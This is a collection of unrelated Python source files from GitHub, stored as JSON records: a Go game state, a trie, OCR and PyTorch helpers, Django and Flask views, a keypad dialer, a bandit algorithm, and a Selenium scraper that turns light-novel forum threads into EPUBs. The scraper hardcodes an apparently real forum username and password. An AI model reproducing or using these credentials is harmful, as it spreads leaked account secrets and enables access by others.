next_board.zobrist_hash())\n        return next_state in self.previous_states\n\n    def winner(self) -> Optional[GoPlayer]:\n        if not self.is_terminal():\n            return None\n        if self.last_move.is_resign:\n            return self.player\n        game_result = compute_game_result(self)\n        return game_result.winner\n\n    def is_terminal(self) -> bool:\n        if self.last_move is None:\n            # initial state\n            return False\n        if self.last_move.is_resign:\n            return True\n        if self.last_move.is_pass:\n            second_to_last_move = self.previous_state.last_move\n            if second_to_last_move is not None and second_to_last_move.is_pass:\n                return True\n        return False\n\n    def is_win(self) -> bool:\n        return self.winner() == self.player\n\n    def is_lose(self) -> bool:\n        return self.winner() == self.player.opponent\n\n    def is_tie(self) -> bool:\n        return self.winner() is None and self.is_terminal()\n\n    def canonical(self) -> 'GoGameState':\n        \"\"\"\n        Regardless of the current player, returns the equivalent\n        of the current state as if BLACK is playing.\n        This is used for agents.\n        :return:\n        \"\"\"\n        if self.player == GoPlayer.BLACK:\n            return self\n        rev_board = self.board.copy()\n        for string in set(rev_board.grid.values()):\n            if string is not None:\n                string.player = string.player.opponent\n        return GoGameState(rev_board,\n                           self.player.opponent,\n                           self.previous_state,\n                           self.last_move)\n","repo_name":"kaichengyan/alphazero","sub_path":"alphazero/games/go/game_state.py","file_name":"game_state.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"1663108919","text":"from flask import Flask, render_template, redirect, session, request\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n\n@app.route(\"/people\")\ndef people():\n    \n    personal_info = [\n        {'first': 'First Name', 'last' : 'Last Name'},\n        {'first': 'Michael', 'last' : 'Choi'},\n        {'first': 'John', 'last' : 'Supsupin'},\n        {'first': 'Mark', 'last' : 'Guillen'},\n        {'first': 'KB', 'last' : 'Tonel'}\n    ]\n\n\n    return render_template(\"index.html\", names = personal_info)\n\n\n\nif __name__==\"__main__\":\n    app.run(debug=True) \n","repo_name":"trusell09/Python","sub_path":"html_table/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6093046817","text":"# -*- coding: utf-8 -*-\n\"\"\"Prefix tree / Digital tree / Radix tree / Trie implementation\nSee definition: https://en.wikipedia.org/wiki/Trie\n\"\"\"\nimport collections\n\n\nclass PrefixTree(collections.MutableMapping):\n    \"\"\"Prefix tree. In fact this is just a trie node holder\"\"\"\n\n    def __init__(self):\n        self.tree = TrieNode()\n\n    def __contains__(self, value):\n        return bool(list(self.tree.lookup(value=value, fuzzy=False)))\n\n    def __setitem__(self, _, value):\n        \"\"\"Set tree value\n\n        :param _:\n        :param value:\n        \"\"\"\n        self.tree.insert(value=value)\n\n    def __getitem__(self, value):\n        return self.tree.lookup(value=value)\n\n    def __delitem__(self, key):\n        return self.tree.remove(value=key)\n\n    def __iter__(self):\n        return iter(self.tree)\n\n    def __len__(self):\n        return self.tree.total_tags()\n\n\nclass TrieNode(collections.Iterable):\n    \"\"\"Main tree node class\"\"\"\n\n    def __init__(self, tag='', parent=None):\n        self.tag = tag\n        self.value = None\n        self.words = 0\n        self.tags_num = 0\n        self.nodes = {}\n        self.parent = parent\n\n    def _get_or_create_node(self, value, create=True):\n        \"\"\"Get or create trie node.\n        Reusable in the lookup, insert and delete methods\n\n        :param value: str\n        :return: TrieNode\n        \"\"\"\n        node = self\n        idx = 1\n        while idx <= len(value):\n            tag = value[:idx]\n            # Create new node with tag if doesn't exist\n            if tag not in node.nodes:\n                if create:\n                    node.nodes[tag] = TrieNode(tag=tag, parent=node)\n                    node.tags_num += 1\n                else:\n                    # Return None if node is not found\n                    return None\n            node = node.nodes[tag]\n\n            # Increment index and continue traversing\n            idx += 1\n        return node\n\n    def insert(self, value):\n        \"\"\"Inserting value to a tree\n\n        :param value: str: value to insert\n        \"\"\"\n        if not isinstance(value, str):\n            raise ValueError(\"Wrong value to insert '%r', must be str\" % value)\n\n        # Get or create node\n        node = self._get_or_create_node(value=value)\n        if node.value is None:\n            node.value = value\n            node.parent.words += 1\n\n    def remove(self, value):\n        \"\"\"Remove value from the tree\n        Find the node and remove the value or the node itself if no children\n\n        :param value: str:\n        :rtype : int: -1, 0 or 1, where\n         -1 - nothing to delete\n         0  - whole node has been removed\n         1  - only node value has been removed\n        \"\"\"\n\n        node = self._get_or_create_node(value=value, create=False)\n        if node is None or node.value is None:\n            # Nothing to delete, no such value in the tree\n            return -1\n\n        # If there are children, just reset the value\n        parent = node.parent\n        parent.words -= 1\n        if node.nodes:\n            node.value = None\n            return 1\n        else:\n            # Remove link from parent and remove the node object itself\n            parent.tags_num -= 1\n            del parent.nodes[node.tag]\n            del node\n            return 0\n\n    def lookup(self, value, fuzzy=True):\n        \"\"\"Values lookup method.\n\n        :param fuzzy: bool: continue search and return values from child nodes\n        :param value: str: string value\n        :return:\n        \"\"\"\n\n        node = self\n        idx = 1\n        while idx <= len(value):\n            tag = value[:idx]\n            # Create new node with tag if doesn't exist\n            if tag not in node.nodes:\n                node.nodes[tag] = TrieNode(tag=tag)\n                node.tags_num += 1\n            node = node.nodes[tag]\n\n            # Increment index and continue searching\n            idx += 1\n\n        # Handle if this is a final value and check if anything further\n        if fuzzy:\n            for val in node.get_values():\n                yield val\n        else:\n            if node.value:\n                yield node.value\n\n    def total_words(self, prefix=None):\n        \"\"\"Get total words in general and particularly\n\n        :param prefix: if prefix is set filter sum by branch\n        :return: int\n        \"\"\"\n\n        if prefix:\n            node = self._get_or_create_node(create=False, value=prefix)\n        else:\n            node = self\n        cnt = node.words\n\n        # Traverse tree and gather all counters\n        for node in self.traverse_tree():\n            cnt += node.words\n\n        return cnt\n\n    def total_tags(self, tag=None):\n        \"\"\"Get total tags\n\n        :param tag:\n        :return:\n        \"\"\"\n        if tag:\n            node = self._get_or_create_node(create=False, value=tag)\n        else:\n            node = self\n        cnt = node.words\n\n        # Traverse tree and gather all counters\n        for node in self.traverse_tree():\n            cnt += node.tags_num\n\n        return cnt\n\n    def traverse_tree(self):\n        \"\"\"Traverse nodes and get end values with depth search\n        \"\"\"\n        nodes = [self]\n        while nodes:\n            node = nodes.pop()\n            yield node\n\n            if node.nodes:\n                nodes.extend(node.nodes.values())\n\n    def get_values(self):\n        \"\"\"Handy helper around traverse to get tree values\n        :rtype : str: node value\n        \"\"\"\n        for node in self.traverse_tree():\n            if node.value:\n                yield node.value\n\n    def __repr__(self):\n        return \"%s(tag='%s', words=%d, tags_num=%d)\" % (\n            self.__class__.__name__, self.tag, self.words, self.tags_num)\n\n    def __iter__(self):\n        return iter(self.nodes)\n","repo_name":"prawn-cake/data_structures","sub_path":"structures/prefix_tree.py","file_name":"prefix_tree.py","file_ext":"py","file_size_in_byte":5731,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"37915534312","text":"\"\"\"\nAuthor: Hang Yan\nDate created: 2023/8/14\nEmail: topaz1668@gmail.com\n\nThis code is licensed under the GNU General Public License v3.0.\n\"\"\"\nimport os\nimport pytesseract\n\nimport PyPDF2\nfrom PIL import Image\nfrom docx import Document\nfrom pdf2image import convert_from_path\n\ndirectory = '440113104003JC04336F00010001'\n\n\nfor filename in os.listdir(directory):\n    filepath = os.path.join(directory, filename)\n\n    # 检查文件类型\n    if filename.endswith('.docx'):\n        # 处理Word文档\n        doc = Document(filepath)\n        text = ' '.join([paragraph.text for paragraph in doc.paragraphs])\n        # 打印识别结果\n        print(text)\n\n    elif filename.endswith('.png'):\n        # 处理PNG图像文件\n        image = Image.open(filepath)\n        text = pytesseract.image_to_string(image)\n        # 打印识别结果\n        print(text)\n\n    elif filename.endswith('.pdf'):\n        # 处理PDF文件\n        images = convert_from_path(filepath)\n        for image in images:\n            image_text = pytesseract.image_to_string(image)\n            # 打印识别结果\n            print(image_text)\n\n\n# with open('宗地图.pdf', 'rb') as pdf_file:\n#     pdf_reader = PyPDF2.PdfReader(pdf_file)\n#     for page_number in range(len(pdf_reader.pages)):\n#         # Extract the page text\n#         page = pdf_reader.pages[page_number]\n#         text = page.extract_text()\n#\n#         # Print the extracted text\n#         print(text)\n#         if \"宗地图\" in text:\n#             print(\"检测结果为宗地图\")\n\n\n# # 打开图像文件\n# image = Image.open('demo.png')\n#\n# # 使用Tesseract进行OCR识别\n# text = pytesseract.image_to_string(image, lang='chi_sim')\n#\n# # 打印提取到的文字\n# print(text)\n\n\n","repo_name":"Topaz1618/GPTBot","sub_path":"examples/words.py","file_name":"words.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"71688080043","text":"\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nfrom PIL import Image\nimport numpy as np\nimport boto3\nimport os\nimport io\nimport json\nfrom utils import toSquare_img\n\nprint('Import End...')\n\n\n\n\n\ndef load_model(S3_BUCKET,MODEL_PATH):\n    print('Downloading model...')\n    s3 = boto3.client('s3')\n\n    try:\n        if os.path.isfile(MODEL_PATH)!=True:\n            obj = s3.get_object(Bucket=S3_BUCKET, Key=MODEL_PATH)\n            print('Creating Bytestream',obj)\n            bytestream = io.BytesIO(obj['Body'].read())\n            print('Loading model',bytestream)\n            model = torch.jit.load(bytestream)\n            print('Model loaded')\n            return model\n    except Exception as e:\n        print(repr(e))\n        raise(e)\n\n\ndef transform_image(image_bytes):\n    try:\n        transformations = transforms.Compose([\n            transforms.Resize(224),\n            transforms.ToTensor(),\n            transforms.Normalize(mean=[0.531,0.586,0.615],std=[0.282,0.257,0.294]),\n            \n            \n        ])\n        image = toSquare_img(image_bytes)\n        print('Successfully padded the image')\n        # image = Image.open(io.BytesIO(image_bytes))\n        return transformations(image).unsqueeze(0)\n    except Exception as e:\n        print(repr(e))\n        raise(e)\n\ndef get_prediction(image_bytes,model):\n    print('applying augmentation')\n    tensor = transform_image(image_bytes = image_bytes)\n    return model(tensor).argmax().item()\n\ndef classify_image(decoded,S3_BUCKET):\n    try:\n\n        print('classification start')\n        userid = decoded.parts[1].content.decode('utf-8')\n        model_name = decoded.parts[2].content.decode('utf-8')\n        MODEL_PATH = f'{userid}/img_classify/{model_name}.pt'\n        model = load_model(S3_BUCKET,MODEL_PATH)\n        picture = decoded.parts[3]\n        prediction = get_prediction(image_bytes= picture.content,model=model)\n        print('model predictions completed')\n        # classes = ['Winged_Drones', 'Small_QuadCopters', 'Large_QuadCopters', 'Flying_Birds' ]\n        # predicted_class = classes[int(prediction)]\n        print(prediction)\n        \n        return prediction\n    except Exception as e:\n        print(repr(e))\n        \n\n","repo_name":"m-shilpa/machine_learning","sub_path":"e4p2_capstone/aws/img_classify_functions/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74864130284","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.common.exceptions import StaleElementReferenceException\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nimport re\nimport os\nimport time\n\nfrom urllib.parse import urljoin\nfrom urllib.request import HTTPError\nfrom urllib.request import URLError\nfrom urllib.request import urlretrieve\n\nfrom simplify_Chinese import OpenCC\nimport mkepub\n\n\nclass LightNovel:\n\n    def __init__(self, url, username='', password=''):\n\n        self.url = url\n        self.driver = webdriver.Firefox(firefox_profile=self.firefox_direct())\n\n        try_time = 0\n        while try_time < 3:\n            try:\n                self.driver.set_window_position(-1920, 0)\n                self.driver.set_window_size(1920, 1080)\n                self.driver.get(self.url)\n\n                self.wait_xpath('//div[@id=\"main_message\"]//table', 200)\n\n                self.driver.find_element_by_xpath('//div[@id=\"main_message\"]//input[@name=\"username\"]').send_keys(\n                    username)\n                self.driver.find_element_by_xpath('//div[@id=\"main_message\"]//input[@name=\"password\"]').send_keys(\n                    password)\n\n                self.wait_xpath('//input[@id=\"seccodeverify_cSA\"]')\n                self.driver.find_element_by_xpath('//input[@id=\"seccodeverify_cSA\"]').click()\n\n                # Wait for Verification\n                self.wait_xpath('//img[@src=\"static/image/common/check_right.gif\"]')\n                self.driver.find_element_by_xpath('//button[@name=\"loginsubmit\"]').click()\n\n                # Wait for click\n                self.wait_xpath('//div[@id=\"postlist\"]')\n                try:\n                    self.driver.find_element_by_link_text('只看该作者').click()\n                    self.wait_xpath('//a[text()=\"显示全部楼层\"]')\n                except:\n                    pass\n                self.wait_loading()\n                break\n\n            except:\n                try_time += 1\n                pass\n\n    def drive_get(self, url):\n        try_time = 0\n        while try_time < 3:\n            try:\n                self.driver.get(url)\n                try:\n                    self.driver.find_element_by_link_text('只看该作者').click()\n                    self.wait_xpath('//a[text()=\"显示全部楼层\"]')\n                except:\n                    pass\n                self.wait_loading()\n                break\n\n            except:\n                try_time += 1\n                pass\n\n    # Difine network proxy\n    def firefox_direct(self):\n        firefox_profile = webdriver.FirefoxProfile()\n        firefox_profile.set_preference('network.proxy.type', 0)\n\n    # Wait for presense of xpath\n    def wait_xpath(self, xpath, time=10):\n        wait = WebDriverWait(self.driver, time)\n        wait.until(expected_conditions.presence_of_element_located((By.XPATH, xpath)))\n\n    # Wait for Loading\n    def wait_loading(self, max_wait_time=5):\n        wait_time = 0\n        while self.driver.execute_script('return document.readyState;') != 'complete' and wait_time < max_wait_time:\n            self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n            wait_time += 0.1\n            time.sleep(0.1)\n        print('Load Complete.')\n\n    # Check next page\n    def nextpage(self, link_text):\n        try:\n            next_page = self.driver.find_element_by_link_text(link_text)\n        except:\n            print(\"It's the end of pages.\")\n            next_page = False\n        return next_page\n\n    # Get Title\n    def get_title(self):\n        try:\n            title = self.driver.find_element_by_xpath('//span[@id=\"thread_subject\"]').text\n            title = convert_chinese(title)\n            title = title.replace('/', '\\\\')\n        except Exception as e:\n            print(e)\n            title = 'Unknown'\n        print(\"Title is {}\".format(title))\n        return title\n\n    # Get Content including images\n    def get_content(self):\n\n        # define variables\n        title = self.get_title()\n        content = ''\n        image_srcs = []\n\n        # Next Page\n        while True:\n\n            # Get Content and Images' src\n            tds = self.driver.find_elements_by_xpath('//td[@class=\"t_f\"]')\n            for td in tds:\n\n                # Add Content\n                content += td.get_attribute('innerHTML')\n\n                # Add Image srcs\n                imgs = td.find_elements_by_tag_name('img')\n                if imgs != []:\n                    for img in imgs:\n                        src = img.get_attribute('file')\n                        if src not in image_srcs and src != None:\n                            image_srcs.append(src)\n\n            # Check Next\n            next_page = self.nextpage('下一页')\n            if next_page:\n                next_page.click()\n                self.driver.implicitly_wait(1)\n                self.wait_loading()\n            else:\n                break\n\n        content = convert_chinese(content)\n\n        content, images = get_images(title, content, image_srcs)\n\n        print('{} content geted.'.format(title))\n        return title, content, images\n\n    # Quit Driver\n    def driver_quit(self):\n        self.driver.quit()\n        print('Driver quit.')\n\n\n#               Content Tools\n\n# Convert Traditional Chinese to Simplified\ndef convert_chinese(content):\n    openCC = OpenCC('t2s')\n    content = openCC.convert(content)\n    return content\n\n\n# Name Number\ndef name_number(array, number):\n    return (len(str(len(array) - 1)) - len(str(number))) * '0' + str(number)\n    # must use return, otherwise it will be None\n\n\n# Check and Make directory\ndef check_make_dir(dir):\n    if not os.path.isdir(dir):\n        os.makedirs(dir)\n\n\n# Replace <img>\ndef replace_img(src, replacement, content):\n    for origin_text, replace_text in [('.', '\\.'), ('?', '\\?'), ('&', '\\&')]:\n        src = src.replace(origin_text, replace_text)\n    return re.sub('<img.*?{}.*?>'.format(src), replacement, content)\n\n\n# Get Images\ndef get_images(title, content, image_srcs):\n    images = []\n    if image_srcs != []:\n\n        # Retrieve Images\n        check_make_dir('downloads/' + title + '/images')\n\n        for n, src in enumerate(image_srcs):\n            try:\n                # Make Image Name and  Image Path\n                image_name = title + name_number(image_srcs, n) + '.' + \\\n                             src.split('.')[-1]\n                image_path = 'downloads/' + title + '/images/' + image_name\n                print(image_name + \": \" + src)\n\n                # Add and Retrieve Image\n                #                urlretrieve(src, image_path)\n                images.append(image_path)\n                print('Downloaded.')\n\n                # Replace <img> in Content\n                content = replace_img(src, '<img src=\"{}\">'.format('images/' + image_name), content)\n\n            except (HTTPError, URLError) as e:\n                # when recieve these errors, just download all images from info of firefox\n                print(e)\n                image_name = src.split('/')[-1]\n                image_path = 'downloads/' + title + '/images/' + image_name\n                content = replace_img(src, '<img src=\"{}\">'.format('images/' + image_name), content)\n                images.append(image_path)\n\n            except Exception as e:\n                print(e)\n                content = replace_img(src, '', content)\n                continue\n\n    return content, images\n\n\n#               Make Html\n\n# Make Html file\ndef make_html(title, content):\n    # Write Html File in Title Folder with the same folder structure as epub\n    try:\n        check_make_dir('downloads/' + title)\n        with open('downloads/' + title + '/' + title + '.html', 'w+') as file:\n            file.write('''<html lang=\"cn\">\n            <head>\n                <meta charset=\"utf-8\">\n            </head>\n            <body>\n                <div>\n                    {}\n                </div>\n            </body>\n        </html>'''.format(content))\n        print('{} html file is done.'.format(title))\n    except Exception as e:\n        print(e)\n        pass\n\n\n#               Make Epub\n\n# Modify Content\ndef modify_content(content):\n    content = re.sub('</?(?!(img|br)).*?>', '', content)\n    content = re.sub('<img.*?>', '\\g<0></img>', content)\n    content = re.sub('<br>', '<br></br>', content)\n    content = re.sub('&nbsp;', ' ', content)\n    return content\n\n\n# Splite Chapters\ndef split_chapters(pattern, content, length=100):\n    chapters = []\n    chapter_title = ''\n    begining = 0\n\n    finditer_result = re.finditer(pattern, content)\n    # print(finditer_result)       <callable_iterator object at 0x10c6373c8>\n    try:\n        for match_result in finditer_result:\n            # first match is in begining\n            if match_result.start() == begining:\n                chapter_title = match_result.group()\n                continue\n            else:\n                # get the split content end position from this match's begining\n                end = match_result.start()\n                # add title to content in addChapter\n                chapter_content = modify_content(content[begining:end])\n                # get second title and content\n                print(chapter_title, begining)\n                chapters.append((chapter_title, chapter_content))\n                # give next loop's second title and begining from this match\n                chapter_title = match_result.group().strip(' ')\n                begining = match_result.end()\n        # after loops, begining is last match'es end\n        chapters.append((chapter_title, modify_content(content[begining:])))\n\n        # after get chapters list, arrangement is needed\n        new_chapters = []\n        title_list = []\n        content_plus = ''\n        for chapter_title, chapter_content in chapters:\n            if len(chapter_content) < length:\n                title_list.append(chapter_title)\n                content_plus += chapter_title + chapter_content\n            else:\n                if len(title_list) > 0:\n                    new_chapters.append((title_list[0], content_plus))\n                    title_list = []\n                    content_plus = ''\n                new_chapters.append((chapter_title, chapter_content))\n\n        return new_chapters\n\n    except Exception as e:\n        print(e)\n        return None\n\n\n# Double Split Chapters\ndef double_split(title, content):\n    chapters = []\n    first_chapters = split_chapters('[^>]{0,5}?(章|尾声|后记|目录).*?(?=<)', content)\n    if first_chapters:\n        for first_title, first_content in first_chapters:\n            second_chapters = split_chapters('\\d{1,3}(?=<)', first_content)\n            if second_chapters:\n                chapters.append((first_title, second_chapters))\n            else:\n                chapters.append((first_title, modify_content(first_content)))\n    else:\n        chapters.append((title, modify_content(content)))\n    return chapters\n\n\n# Add Chapters\ndef addChapter(book, book_title, chapters):\n    for title, content in chapters:\n        if title == '':\n            title = book_title\n        # content is a string\n        if isinstance(content, str):\n            book.add_page(title=title, content='<h1>{}</h1>'.format(title) + content)\n        # content is a list of titles and contents\n        if isinstance(content, list):\n            if content[0][0] != '':\n                # if first secondary title is not blank\n                first = book.add_page(title=title, content='<h1>{}</h1>'.format(title))\n                for title2, content2 in content:\n                    book.add_page(title=title2, content='<h2>{}</h2>'.format(title2) + content2, parent=first)\n            else:\n                # else first secondary title is blank\n                first = book.add_page(title=title, content='<h1>{}</h1>'.format(title) + content[0][1])\n                for title2, content2 in content[1:]:\n                    book.add_page(title=title2, content='<h2>{}</h2>'.format(title2) + content2, parent=first)\n\n\n# Set Cover\ndef setCover(book, image):\n    try:\n        with open(image, 'rb') as img:\n            book.set_cover(img.read())\n    except Exception as e:\n        print('Cover failed: {}'.format(e))\n        pass\n\n\n# Get Images\ndef setImages(book, images):\n    for image_path in images:\n        try:\n            with open(image_path, 'rb') as image:\n                book.add_image(image_path.split('/')[-1], image.read())\n        except Exception as e:\n            print('{} failed: \\n{}'.format(image_path, e))\n            continue\n\n\n# Make Epub\ndef make_epub(title, content, images=[]):\n    check_make_dir('downloads/' + title)\n    print('Making Epub...')\n    # Make Epub File\n    if os.path.isfile('downloads/' + title + '.epub'):\n        os.remove('downloads/' + title + '.epub')\n    book = mkepub.Book(title=title)\n    # Split Chapters\n    chapters = double_split(title, content)\n    # Add Chapters\n    addChapter(book, title, chapters)\n    # Add Images\n    if images != []:\n        try:\n            setCover(book, images[0])\n            setImages(book, images)\n        except Exception as e:\n            print(e)\n            pass\n\n    # Save Book\n    book.save('downloads/' + title + '.epub')\n    print(title + '.epub file complete.')\n\n\n# Get epub of multi urls\ndef collect_epubs(url_list, username='mk2016a', password='123456Qz'):\n    # Get list\n    list = []\n    url = url_list[0]\n    novel = LightNovel(url, username='mk2016a', password='123456Qz')\n    title, content, images = novel.get_content()\n    list.append((title, content, images))\n    # open urls in the same driver\n    for url in url_list[1:]:\n        novel.drive_get(url)\n        title, content, images = novel.get_content()\n        list.append((title, content, images))\n    novel.driver_quit()\n\n    # Make Epub\n    print('Making epub...')\n    book_name = '{} All.epub'.format(list[0][0])\n    if os.path.isfile('downloads/' + book_name):\n        os.remove('downloads/' + book_name)\n    book = mkepub.Book(book_name)\n    # get chapters\n    chapters = []\n    for title, content, images in list:\n        chapters = split_chapters('(?<=>).{0,5}?(章|尾声|后记|目录).*?(?=<)', content)\n        if chapters:\n            first = book.add_page(title, '<h1>{}</h1>'.format(title))\n            for title2, content2 in chapters:\n                book.add_page(title=title2, content='<h2>{}</h2>'.format(title2) + content2, parent=first)\n        else:\n            first = book.add_page(title, '<h1>{}</h1>'.format(title) + content)\n        setImages(book, images)\n    print(list[0][2][0])\n    setCover(book, list[0][2][0])\n    book.save('downloads/' + book_name)\n    print('{} file complete.'.format(book_name))\n\n\nnovel = LightNovel('https://www.lightnovel.cn/forum.php?mod=viewthread&tid=930679&highlight=为美好')\ntitle, content, images = novel.get_content()\nmake_html(title, content)\nmake_epub(title, content, images)\nnovel.driver_quit()\n\n# url_list = ['https://www.lightnovel.cn/forum.php?mod=viewthread&tid=915987&highlight=为美好',\n#            'https://www.lightnovel.cn/forum.php?mod=viewthread&tid=928655&highlight=为美好',\n#            'https://www.lightnovel.cn/forum.php?mod=viewthread&tid=930675&highlight=为美好',\n#            'https://www.lightnovel.cn/forum.php?mod=viewthread&tid=935285&highlight=为美好']\n# collect_epubs(url_list)\n\n","repo_name":"evrmji/LightNovels","sub_path":"make_epub.py","file_name":"make_epub.py","file_ext":"py","file_size_in_byte":15493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"28151985628","text":"import datetime\nfrom django.shortcuts import render, get_object_or_404\nfrom .models import *\n\n\ndef dobFilter(request):\n    obj = Profile.objects.all().filter(dob__lte=datetime.date(1981, 1, 10))\n    return render(request, 'index.html', {'obj': obj})\n\n\ndef articles_list(request, category_slug=None):\n    category_page = None\n    articles = None\n    if category_slug is not None:\n        category_page = get_object_or_404(Category, slug=category_slug)\n        articles = Article.objects.filter(category=category_page)\n    else:\n        articles = Article.objects.all()\n    return render(request, 'articles.html', {'category': category_page, 'articles': articles})\n\n\ndef detail_article(request, cat_slug, slug):\n    obj = get_object_or_404(Article, category__slug=cat_slug, slug=slug)\n    return render(request, 'detail.html', {'obj': obj})","repo_name":"tarunkumarsharma6208/category-with-dob-filter","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"35943118707","text":"import random\r\nx = int(input('Δωσε την πρώτη διασταση του ορθογωνίου: '))\r\ny = int(input('Δωσε την δεύτερη διασταση του ορθογωνίου να τελειώνουμε με την πάρτη σου: '))\r\nmylist = [\"O\", \"S\"]\r\na = [[0]*y]*x\r\nsums = 0\r\nsumo = 0\r\nsumorizontia = 0\r\nsumkatheta = 0\r\nsumdiagwnia = 0\r\nfor i in range(x):\r\n    for j in range(y):\r\n        a[i][j] = (random.choice(mylist))\r\n        if a[i][j] == 'S' :\r\n            sums += 1\r\n        else :\r\n            sumo += 1\r\n        if sums > (x * y // 2):\r\n            a[i][j] = 'O'\r\n        if sumo > (x * y//2):\r\n            a[i][j] = 'S'\r\n\r\nfor i in range(x):\r\n    for j in range(y-2):\r\n        if a[i][j] == \"S\" and a[i][j+1] == \"O\" and a[i][j+2] == \"S\" :\r\n            sumorizontia += 1\r\nfor i in range(x-2):\r\n    for j in range(y):\r\n        if a[i][j] == \"S\" and a[i+1][j] == \"O\" and a[i+2][j] == \"S\" :\r\n            sumkatheta += 1\r\nfor i in range(x-2) :\r\n    for j in range(y-2):\r\n        if a[i][j] == \"S\" and a[i+1][j+1] == \"O\" and a[i+2][j+2] == \"S\" :\r\n            sumdiagwnia += 1\r\nfor i in range(x-2) :\r\n    for j in range(2,y) :\r\n        if a[i][j] == \"S\" and a[i+1][j-1] == \"O\" and a[i+2][j-2] == \"S\" :\r\n            sumdiagwnia += 1\r\nS = sumorizontia + sumkatheta + sumdiagwnia\r\nif S == 0 :\r\n    print('SOS οριζόντια' , sumorizontia)\r\n    print('SOS κάθετα' , sumkatheta)\r\n    print('SOS διαγώνια' , sumdiagwnia)\r\nelse :\r\n    print('SOS οριζόντια' , sumorizontia / S *100 , '%')\r\n    print('SOS κάθετα' , sumkatheta / S *100 , '%')\r\n    print('SOS διαγώνια' , sumdiagwnia / S *100 , '%')\r\n","repo_name":"nikitas2002/NikitasSpanakis","sub_path":"ask5.py","file_name":"ask5.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22024418489","text":"import time\nimport digitalio\nimport board\nimport adafruit_matrixkeypad\nimport pyaudiotest2\nimport pyaudio\n\n# Membrane 3x4 matrix keypad on Raspberry Pi -\n# https://www.adafruit.com/product/419\ncols = [digitalio.DigitalInOut(x) for x in (board.D16, board.D20, board.D21)]\nrows = [digitalio.DigitalInOut(x) for x in (board.D5, board.D6, board.D13, board.D19)]\nhook = digitalio.DigitalInOut(board.D12)\nhook.pull = digitalio.Pull.UP\nprint(hook.value);\n\nkeys = ((1, 2, 3),\n        (4, 5, 6),\n        (7, 8, 9),\n        ('*', 0, '#'))\n\nkeypad = adafruit_matrixkeypad.Matrix_Keypad(rows, cols, keys)\nlastKeysPressed = []\noffHook = True\n\np = pyaudio.PyAudio()\nstream = p.open(format=pyaudio.paFloat32, channels=1, rate=44100, output = 1)\npyaudiotest2.play_dial_tone(stream,2);\nstream.close()\np.terminate()\n\ndef areEqual(arr1, arr2):\n\t#print(\"array 1\");\n\t#print(\"array 2\");\n\t#print(arr1);\n\t#print(arr2);\n\tif(len(arr1) != len(arr2)):\n\t\treturn False;\n\n\tarr1.sort();\n\tarr2.sort();\n\n\tfor i in range(0, len(arr1)-1):\n\t\tif(arr1[i] != arr2[i]):\n\t\t\treturn False;\n\n\treturn True;\n\nwhile offHook:\n\tkeys = keypad.pressed_keys\n\tif (not areEqual(keys, lastKeysPressed) and len(keys) > 0):\n\t\tprint(\"Pressed: \", keys)\n\t\tlastKeysPressed = keys\n\telif not hook.value:\n\t\toffHook = False;\n\telif (len(keys) == 0):\n\t\tlastKeysPressed = []\n\ttime.sleep(0.1)\n","repo_name":"mtintes/phone","sub_path":"dialer.py","file_name":"dialer.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"73566203882","text":"import numpy as np\nimport pickle\nfrom utils import *\nimport os\n\n\ndef DDUCB(P, n, T, lambda_2, distributions, epsilon, eta, variance, mu_1, accel=False, C_small=False):\n    regret = [0]\n    lambda_2 = np.abs(lambda_2)\n    K = len(distributions)\n    C = None\n    if accel:\n        if C_small:\n            C = int(np.ceil(np.log(2*n/epsilon)/np.sqrt(2*np.log(1/lambda_2))))\n            C /= 3\n            C = int(C)\n        else:\n            C = int(np.ceil(np.log(2*n/epsilon)/np.sqrt(2*np.log(1/lambda_2))))\n    else:\n        if C_small:\n            C = int(np.ceil(np.log(2*n/epsilon)/np.sqrt(2*np.log(1/lambda_2))))\n        else:\n            C = int(np.ceil(np.log(n/epsilon)/np.log(1/lambda_2)))\n    print('C: {}'.format(C))\n\n    first_pulls = np.array([np.array([distributions[i]() for i in range(K)]) for j in range(n)])\n    beta = RewNumPulls(n, rewards_array=first_pulls, pulls_array=np.ones((n, K)))\n    alpha = RewNumPulls(n,rewards_array=beta.rewards/K, pulls_array=beta.pulls/K)\n    gamma = RewNumPulls(n, rewards_array=np.zeros((n, K)), pulls_array=np.zeros((n, K)))\n    delta = RewNumPulls(n, rewards_array=np.zeros((n, K)), pulls_array=np.zeros((n, K)))\n\n    unaccel_mixer = None\n    if accel:\n        # Sparse should be better here\n        mixer = AccelMix(P, lambda_2, C, sparse=True)\n    else:\n        # It is not clear if sparsity is better in this case\n        mixer = UnaccelMix(P, lambda_2, C, sparse=False)\n        #mixer = UnaccelMix(P, lambda_2, C, sparse=True)\n    t = K\n    s = K\n    accum = None\n    while t <= T:\n        for r in range(C):\n            accum = 0\n            for i in range(n):\n                UCBs = np.array([alpha.rewards[i][k]/alpha.pulls[i][k] +\n                                 np.sqrt(2*eta*variance*np.log(s)/(n*alpha.pulls[i][k])) for k 